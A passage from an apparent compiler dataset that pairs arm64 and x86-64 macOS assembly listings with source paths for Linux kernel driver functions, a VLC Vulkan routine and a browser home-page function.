_usleep_range ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _DSI_POWER_CONTROL,4,2 ; @DSI_POWER_CONTROL .comm _DSI_POWER_CONTROL_ENABLE,4,2 ; @DSI_POWER_CONTROL_ENABLE .no_dead_strip _tegra_dsi_disable .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tegra_dsi_disable _tegra_dsi_disable: ## @tegra_dsi_disable .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax cmpq $0, (%rax) je LBB0_2 ## %bb.1: movq -8(%rbp), %rax movq (%rax), %rdi callq _tegra_dsi_ganged_disable movq -8(%rbp), %rdi callq _tegra_dsi_ganged_disable LBB0_2: movq -8(%rbp), %rdi movq _DSI_POWER_CONTROL@GOTPCREL(%rip), %rax movl (%rax), %esi callq _tegra_dsi_readl movl %eax, -12(%rbp) movq _DSI_POWER_CONTROL_ENABLE@GOTPCREL(%rip), %rax movl (%rax), %eax xorl $-1, %eax andl -12(%rbp), %eax movl %eax, -12(%rbp) movq -8(%rbp), %rdi movl -12(%rbp), %esi movq _DSI_POWER_CONTROL@GOTPCREL(%rip), %rax movl (%rax), %edx callq _tegra_dsi_writel movq -8(%rbp), %rax cmpq $0, (%rax) je LBB0_4 ## %bb.3: movq -8(%rbp), %rax movq (%rax), %rdi callq _tegra_dsi_disable LBB0_4: movl $5000, %edi ## imm = 0x1388 movl $10000, %esi ## imm = 0x2710 callq _usleep_range addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _DSI_POWER_CONTROL,4,2 ## @DSI_POWER_CONTROL .comm _DSI_POWER_CONTROL_ENABLE,4,2 ## @DSI_POWER_CONTROL_ENABLE .no_dead_strip _tegra_dsi_disable .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/tegra/extr_dsi.c_tegra_dsi_disable.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function intel_pt_step_psb _intel_pt_step_psb: ; @intel_pt_step_psb .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #16] str x1, [sp, #8] ldr x8, [sp, #8] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: stur wzr, [x29, #-4] b LBB0_5 LBB0_2: ldr x8, [sp, #16] ldr x8, [x8] add x0, x8, #1 ldr x8, [sp, #8] ldr x8, [x8] subs x1, x8, #1 adrp x8, _INTEL_PT_PSB_STR@GOTPAGE ldr x8, [x8, _INTEL_PT_PSB_STR@GOTPAGEOFF] ldr w2, [x8] adrp x8, _INTEL_PT_PSB_LEN@GOTPAGE ldr x8, [x8, _INTEL_PT_PSB_LEN@GOTPAGEOFF] ldr w3, [x8] bl _memmem str x0, [sp] ldr x8, [sp] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x8, [sp] ldr x9, [sp, #16] ldr x9, [x9] subs x10, x8, x9 ldr x9, [sp, #8] ldr x8, [x9] subs x8, x8, x10 str x8, [x9] ldr x8, [sp] ldr x9, [sp, #16] str x8, [x9] mov w8, #1 stur w8, [x29, #-4] b LBB0_5 LBB0_4: stur wzr, [x29, #-4] b LBB0_5 LBB0_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _INTEL_PT_PSB_STR,4,2 ; @INTEL_PT_PSB_STR .comm _INTEL_PT_PSB_LEN,4,2 ; @INTEL_PT_PSB_LEN .no_dead_strip _intel_pt_step_psb .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function intel_pt_step_psb _intel_pt_step_psb: ## @intel_pt_step_psb .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq -24(%rbp), %rax cmpq $0, (%rax) jne LBB0_2 ## %bb.1: movl $0, -4(%rbp) jmp LBB0_5 LBB0_2: movq -16(%rbp), %rax movq (%rax), %rdi addq $1, %rdi movq -24(%rbp), %rax movq (%rax), %rsi subq $1, %rsi movq _INTEL_PT_PSB_STR@GOTPCREL(%rip), %rax movl (%rax), %edx movq _INTEL_PT_PSB_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx callq _memmem movq %rax, -32(%rbp) cmpq $0, -32(%rbp) je LBB0_4 ## %bb.3: movq -32(%rbp), %rdx movq -16(%rbp), %rax movq (%rax), %rax subq %rax, %rdx movq -24(%rbp), %rax movq (%rax), %rcx subq %rdx, %rcx movq %rcx, (%rax) movq -32(%rbp), %rcx movq -16(%rbp), %rax movq %rcx, (%rax) movl $1, -4(%rbp) jmp LBB0_5 LBB0_4: movl $0, -4(%rbp) LBB0_5: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _INTEL_PT_PSB_STR,4,2 ## @INTEL_PT_PSB_STR .comm _INTEL_PT_PSB_LEN,4,2 ## @INTEL_PT_PSB_LEN .no_dead_strip _intel_pt_step_psb .subsections_via_symbols
AnghaBench/linux/tools/perf/util/intel-pt-decoder/extr_intel-pt-decoder.c_intel_pt_step_psb.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tegra_smmu_iova_to_phys _tegra_smmu_iova_to_phys: ; @tegra_smmu_iova_to_phys .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] ldur x0, [x29, #-16] bl _to_smmu_as str x0, [sp, #32] ldr x0, [sp, #32] ldur w1, [x29, #-20] add x2, sp, #20 bl _tegra_smmu_pte_lookup str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #8] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: stur wzr, [x29, #-4] b LBB0_4 LBB0_3: ldr x8, [sp, #8] ldr x8, [x8] ldr x9, [sp, #32] ldr x9, [x9] ldr x9, [x9] and x8, x8, x9 str x8, [sp, #24] ldr x0, [sp, #24] bl _PFN_PHYS stur w0, [x29, #-4] b LBB0_4 LBB0_4: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .no_dead_strip _tegra_smmu_iova_to_phys .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tegra_smmu_iova_to_phys _tegra_smmu_iova_to_phys: ## @tegra_smmu_iova_to_phys .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movq -16(%rbp), %rdi callq _to_smmu_as movq %rax, -32(%rbp) movq -32(%rbp), %rdi movl -20(%rbp), %esi leaq -44(%rbp), %rdx callq _tegra_smmu_pte_lookup movq %rax, -56(%rbp) cmpq $0, -56(%rbp) je LBB0_2 ## %bb.1: movq -56(%rbp), %rax cmpq $0, (%rax) jne LBB0_3 LBB0_2: movl $0, -4(%rbp) jmp LBB0_4 LBB0_3: movq -56(%rbp), %rax movq (%rax), %rax movq -32(%rbp), %rcx movq (%rcx), %rcx andq (%rcx), %rax movq %rax, -40(%rbp) movq -40(%rbp), %rdi callq _PFN_PHYS movl %eax, -4(%rbp) LBB0_4: movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _tegra_smmu_iova_to_phys .subsections_via_symbols
AnghaBench/linux/drivers/iommu/extr_tegra-smmu.c_tegra_smmu_iova_to_phys.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function i915_switcheroo_set_state _i915_switcheroo_set_state: ; @i915_switcheroo_set_state .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] ldur x0, [x29, #-8] bl _pdev_to_i915 str x0, [sp, #8] adrp x8, _PM_EVENT_SUSPEND@GOTPAGE ldr x8, [x8, _PM_EVENT_SUSPEND@GOTPAGEOFF] ldr w8, [x8] str w8, [sp, #4] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x0, [x29, #-8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _dev_err b LBB0_5 LBB0_2: ldur w8, [x29, #-12] adrp x9, _VGA_SWITCHEROO_ON@GOTPAGE ldr x9, [x9, _VGA_SWITCHEROO_ON@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _pr_info adrp x8, _DRM_SWITCH_POWER_CHANGING@GOTPAGE ldr x8, [x8, _DRM_SWITCH_POWER_CHANGING@GOTPAGEOFF] ldr x8, [x8] ldr x9, [sp, #8] str x8, [x9] ldur x0, [x29, #-8] adrp x8, _PCI_D0@GOTPAGE ldr x8, [x8, _PCI_D0@GOTPAGEOFF] ldr w1, [x8] bl _pci_set_power_state ldr x0, [sp, #8] bl _i915_resume_switcheroo adrp x8, _DRM_SWITCH_POWER_ON@GOTPAGE ldr x8, [x8, _DRM_SWITCH_POWER_ON@GOTPAGEOFF] ldr x8, [x8] ldr x9, [sp, #8] str x8, [x9] b LBB0_5 LBB0_4: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _pr_info adrp x8, _DRM_SWITCH_POWER_CHANGING@GOTPAGE ldr x8, [x8, _DRM_SWITCH_POWER_CHANGING@GOTPAGEOFF] ldr x8, [x8] ldr x9, [sp, #8] str x8, [x9] ldr x0, [sp, #8] ldr w8, [sp, #4] mov x1, x8 bl _i915_suspend_switcheroo adrp x8, _DRM_SWITCH_POWER_OFF@GOTPAGE ldr x8, [x8, _DRM_SWITCH_POWER_OFF@GOTPAGEOFF] ldr x8, [x8] ldr x9, [sp, #8] str x8, [x9] b LBB0_5 LBB0_5: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _PM_EVENT_SUSPEND,4,2 ; @PM_EVENT_SUSPEND .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "DRM not initialized, aborting switch.\n" .comm _VGA_SWITCHEROO_ON,4,2 ; @VGA_SWITCHEROO_ON l_.str.1: ; @.str.1 .asciz "switched on\n" .comm _DRM_SWITCH_POWER_CHANGING,8,3 ; @DRM_SWITCH_POWER_CHANGING .comm _PCI_D0,4,2 ; @PCI_D0 .comm _DRM_SWITCH_POWER_ON,8,3 ; @DRM_SWITCH_POWER_ON l_.str.2: ; @.str.2 .asciz "switched off\n" .comm _DRM_SWITCH_POWER_OFF,8,3 ; @DRM_SWITCH_POWER_OFF .no_dead_strip _i915_switcheroo_set_state .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function i915_switcheroo_set_state _i915_switcheroo_set_state: ## @i915_switcheroo_set_state .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movq -8(%rbp), %rdi callq _pdev_to_i915 movq %rax, -24(%rbp) movq _PM_EVENT_SUSPEND@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -32(%rbp) cmpq $0, -24(%rbp) jne LBB0_2 ## %bb.1: movq -8(%rbp), %rdi leaq L_.str(%rip), %rsi callq _dev_err jmp LBB0_5 LBB0_2: movl -12(%rbp), %eax movq _VGA_SWITCHEROO_ON@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_4 ## %bb.3: leaq L_.str.1(%rip), %rdi callq _pr_info movq _DRM_SWITCH_POWER_CHANGING@GOTPCREL(%rip), %rax movq (%rax), %rcx movq -24(%rbp), %rax movq %rcx, (%rax) movq -8(%rbp), %rdi movq _PCI_D0@GOTPCREL(%rip), %rax movl (%rax), %esi callq _pci_set_power_state movq -24(%rbp), %rdi callq _i915_resume_switcheroo movq _DRM_SWITCH_POWER_ON@GOTPCREL(%rip), %rax movq (%rax), %rcx movq -24(%rbp), %rax movq %rcx, (%rax) jmp LBB0_5 LBB0_4: leaq L_.str.2(%rip), %rdi callq _pr_info movq _DRM_SWITCH_POWER_CHANGING@GOTPCREL(%rip), %rax movq (%rax), %rcx movq -24(%rbp), %rax movq %rcx, (%rax) movq -24(%rbp), %rdi movl -32(%rbp), %esi callq _i915_suspend_switcheroo movq _DRM_SWITCH_POWER_OFF@GOTPCREL(%rip), %rax movq (%rax), %rcx movq -24(%rbp), %rax movq %rcx, (%rax) LBB0_5: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _PM_EVENT_SUSPEND,4,2 ## @PM_EVENT_SUSPEND .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "DRM not initialized, aborting switch.\n" .comm _VGA_SWITCHEROO_ON,4,2 ## @VGA_SWITCHEROO_ON L_.str.1: ## @.str.1 .asciz "switched on\n" .comm _DRM_SWITCH_POWER_CHANGING,8,3 ## @DRM_SWITCH_POWER_CHANGING .comm _PCI_D0,4,2 ## @PCI_D0 .comm _DRM_SWITCH_POWER_ON,8,3 ## @DRM_SWITCH_POWER_ON L_.str.2: ## @.str.2 .asciz "switched off\n" .comm _DRM_SWITCH_POWER_OFF,8,3 ## @DRM_SWITCH_POWER_OFF .no_dead_strip _i915_switcheroo_set_state .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/i915/extr_i915_drv.c_i915_switcheroo_set_state.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function __pblk_down_chunk ___pblk_down_chunk: ; @__pblk_down_chunk .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] ldur x8, [x29, #-8] ldr x8, [x8] ldursw x9, [x29, #-12] add x8, x8, x9, lsl #2 str x8, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #8] ; 8-byte Folded Spill mov w0, #30000 bl _msecs_to_jiffies mov x1, x0 ldr x0, [sp, #8] ; 8-byte Folded Reload bl _down_timeout str w0, [sp, #20] ldr w8, [sp, #20] adrp x9, _ETIME@GOTPAGE ldr x9, [x9, _ETIME@GOTPAGEOFF] ldr w9, [x9] adds w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w8, [sp, #20] adrp x9, _EINTR@GOTPAGE ldr x9, [x9, _EINTR@GOTPAGEOFF] ldr w9, [x9] adds w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldur x0, [x29, #-8] ldr w9, [sp, #20] mov w8, #0 subs w2, w8, w9 adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _pblk_err b LBB0_3 LBB0_3: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .comm _ETIME,4,2 ; @ETIME .comm _EINTR,4,2 ; @EINTR .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "taking lun semaphore timed out: err %d\n" .no_dead_strip ___pblk_down_chunk .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function __pblk_down_chunk ___pblk_down_chunk: ## @__pblk_down_chunk .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movq -8(%rbp), %rax movq (%rax), %rax movslq -12(%rbp), %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -24(%rbp) movq -24(%rbp), %rax movq %rax, -40(%rbp) ## 8-byte Spill movl $30000, %edi ## imm = 0x7530 callq _msecs_to_jiffies movq -40(%rbp), %rdi ## 8-byte Reload movl %eax, %esi callq _down_timeout movl %eax, -28(%rbp) movl -28(%rbp), %eax xorl %ecx, %ecx movq _ETIME@GOTPCREL(%rip), %rdx subl (%rdx), %ecx cmpl %ecx, %eax je LBB0_2 ## %bb.1: movl -28(%rbp), %eax xorl %ecx, %ecx movq _EINTR@GOTPCREL(%rip), %rdx subl (%rdx), %ecx cmpl %ecx, %eax jne LBB0_3 LBB0_2: movq -8(%rbp), %rdi xorl %edx, %edx subl -28(%rbp), %edx leaq L_.str(%rip), %rsi callq _pblk_err LBB0_3: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _ETIME,4,2 ## @ETIME .comm _EINTR,4,2 ## @EINTR .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "taking lun semaphore timed out: err %d\n" .no_dead_strip ___pblk_down_chunk .subsections_via_symbols
AnghaBench/linux/drivers/lightnvm/extr_pblk-core.c___pblk_down_chunk.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function trace_get_syscall_nr _trace_get_syscall_nr: ; @trace_get_syscall_nr .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str x1, [sp] ldr x0, [sp, #8] ldr x1, [sp] bl _syscall_get_nr ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _trace_get_syscall_nr .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function trace_get_syscall_nr _trace_get_syscall_nr: ## @trace_get_syscall_nr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rdi movq -16(%rbp), %rsi callq _syscall_get_nr addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _trace_get_syscall_nr .subsections_via_symbols
AnghaBench/linux/kernel/trace/extr_trace_syscalls.c_trace_get_syscall_nr.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _vlc_vk_Create ; -- Begin function vlc_vk_Create .p2align 2 _vlc_vk_Create: ; @vlc_vk_Create .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] str x1, [sp, #24] ldur x8, [x29, #-16] str x8, [sp, #16] ldr x0, [sp, #16] mov w1, #48 bl _vlc_object_create str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq and w0, w8, #0x1 bl _unlikely subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ; kill: def $x8 killed $xzr stur xzr, [x29, #-8] b LBB0_5 LBB0_2: ldr x8, [sp, #8] ; kill: def $x9 killed $xzr str xzr, [x8, #40] ldr x8, [sp, #8] str xzr, [x8, #32] ldr x8, [sp, #8] str xzr, [x8, #24] ldur x8, [x29, #-16] ldr x9, [sp, #8] str x8, [x9, #16] ldr x0, [sp, #8] ldr x2, [sp, #24] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov w3, #1 bl _module_need ldr x8, [sp, #8] str x0, [x8, #8] ldr x8, [sp, #8] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x0, [sp, #8] bl _vlc_object_delete ; kill: def $x8 killed $xzr stur xzr, [x29, #-8] b LBB0_5 LBB0_4: ldr x0, [sp, #8] bl _vlc_atomic_rc_init ldr x8, [sp, #8] stur x8, [x29, #-8] b LBB0_5 LBB0_5: ldur x0, [x29, #-8] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "vulkan" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _vlc_vk_Create ## -- Begin function vlc_vk_Create .p2align 4, 0x90 _vlc_vk_Create: ## @vlc_vk_Create .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq -16(%rbp), %rax movq %rax, -32(%rbp) movq -32(%rbp), %rdi movl $48, %esi callq _vlc_object_create movq %rax, -40(%rbp) cmpq $0, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _unlikely cmpq $0, %rax je LBB0_2 ## %bb.1: movq $0, -8(%rbp) jmp LBB0_5 LBB0_2: movq -40(%rbp), %rax movq $0, 40(%rax) movq -40(%rbp), %rax movq $0, 32(%rax) movq -40(%rbp), %rax movq $0, 24(%rax) movq -16(%rbp), %rcx movq -40(%rbp), %rax movq %rcx, 16(%rax) movq -40(%rbp), %rdi movq -24(%rbp), %rdx leaq L_.str(%rip), %rsi movl $1, %ecx callq _module_need movq %rax, %rcx movq -40(%rbp), %rax movq %rcx, 8(%rax) movq -40(%rbp), %rax cmpq $0, 8(%rax) jne LBB0_4 ## %bb.3: movq -40(%rbp), %rdi callq _vlc_object_delete movq $0, -8(%rbp) jmp LBB0_5 LBB0_4: movq -40(%rbp), %rdi callq _vlc_atomic_rc_init movq -40(%rbp), %rax movq %rax, -8(%rbp) LBB0_5: movq -8(%rbp), %rax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "vulkan" .subsections_via_symbols
AnghaBench/vlc/modules/video_output/vulkan/extr_instance.c_vlc_vk_Create.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _go_home ; -- Begin function go_home .p2align 2 _go_home: ; @go_home .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 sub sp, sp, #112 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur x0, [x29, #-24] adrp x8, _MAX_PATH@GOTPAGE ldr x8, [x8, _MAX_PATH@GOTPAGEOFF] ldr w8, [x8] ; kill: def $x8 killed $w8 stur x8, [x29, #-104] ; 8-byte Folded Spill mov x9, sp stur x9, [x29, #-64] lsr x9, x8, #0 add x9, x9, #15 and x9, x9, #0xfffffffffffffff0 stur x9, [x29, #-96] ; 8-byte Folded Spill adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 ldur x10, [x29, #-96] ; 8-byte Folded Reload mov x9, sp subs x9, x9, x10 mov sp, x9 stur x9, [x29, #-88] ; 8-byte Folded Spill stur x8, [x29, #-72] adrp x8, _HKEY_CURRENT_USER@GOTPAGE ldr x8, [x8, _HKEY_CURRENT_USER@GOTPAGEOFF] ldr w0, [x8] adrp x1, _go_home.wszSubKey@PAGE add x1, x1, _go_home.wszSubKey@PAGEOFF sub x2, x29, #28 bl _RegOpenKeyW stur x0, [x29, #-40] ldur x8, [x29, #-40] adrp x9, _ERROR_SUCCESS@GOTPAGE ldr x9, [x9, _ERROR_SUCCESS@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x0, [x29, #-24] adrp x1, _go_home.wszAboutBlank@PAGE add x1, x1, _go_home.wszAboutBlank@PAGEOFF mov x5, #0 mov x2, x5 mov x3, x5 mov x4, x5 bl _navigate_url stur w0, [x29, #-12] mov w8, #1 stur w8, [x29, #-76] b LBB0_6 LBB0_2: ldur x8, [x29, #-88] ; 8-byte Folded Reload ldur x9, [x29, #-104] ; 8-byte Folded Reload sub x5, x29, #56 stur x9, [x29, #-56] ldur w0, [x29, #-28] mov x4, x8 adrp x1, _go_home.wszStartPage@PAGE add x1, x1, _go_home.wszStartPage@PAGEOFF mov x2, #0 sub x3, x29, #48 bl _RegQueryValueExW stur x0, [x29, #-40] ldur w0, [x29, #-28] bl _RegCloseKey ldur x8, [x29, #-40] adrp x9, _ERROR_SUCCESS@GOTPAGE ldr x9, [x9, _ERROR_SUCCESS@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldur x8, [x29, #-48] adrp x9, _REG_SZ@GOTPAGE ldr x9, [x9, _REG_SZ@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldur x0, [x29, #-24] adrp x1, _go_home.wszAboutBlank@PAGE add x1, x1, _go_home.wszAboutBlank@PAGEOFF mov x5, #0 mov x2, x5 mov x3, x5 mov x4, x5 bl _navigate_url stur w0, [x29, #-12] mov w8, #1 stur w8, [x29, #-76] b LBB0_6 LBB0_5: ldur x1, [x29, #-88] ; 8-byte Folded Reload ldur x0, [x29, #-24] mov x5, #0 mov x2, x5 mov x3, x5 mov x4, x5 bl _navigate_url stur w0, [x29, #-12] mov w8, #1 stur w8, [x29, #-76] b LBB0_6 LBB0_6: ldur x8, [x29, #-64] mov sp, x8 ldur w8, [x29, #-12] stur w8, [x29, #-108] ; 4-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: bl ___stack_chk_fail LBB0_8: ldur w0, [x29, #-108] ; 4-byte Folded Reload mov sp, x29 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .comm _MAX_PATH,4,2 ; @MAX_PATH .section __TEXT,__const _go_home.wszAboutBlank: ; @go_home.wszAboutBlank .asciz "about:blank" _go_home.wszStartPage: ; @go_home.wszStartPage .asciz "Start Page" _go_home.wszSubKey: ; @go_home.wszSubKey .asciz "Software\\Microsoft\\Internet Explorer\\Main" .comm _HKEY_CURRENT_USER,4,2 ; @HKEY_CURRENT_USER .comm _ERROR_SUCCESS,8,3 ; @ERROR_SUCCESS .comm _REG_SZ,8,3 ; @REG_SZ .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _go_home ## -- Begin function go_home .p2align 4, 0x90 _go_home: ## @go_home .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $112, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -24(%rbp) movq _MAX_PATH@GOTPCREL(%rip), %rax movl (%rax), %eax ## kill: def $rax killed $eax movq %rax, -96(%rbp) ## 8-byte Spill movq %rsp, %rcx movq %rcx, -64(%rbp) callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq -96(%rbp), %rax ## 8-byte Reload movq %rsp, %rcx movq %rcx, -88(%rbp) ## 8-byte Spill movq %rax, -72(%rbp) movq _HKEY_CURRENT_USER@GOTPCREL(%rip), %rax 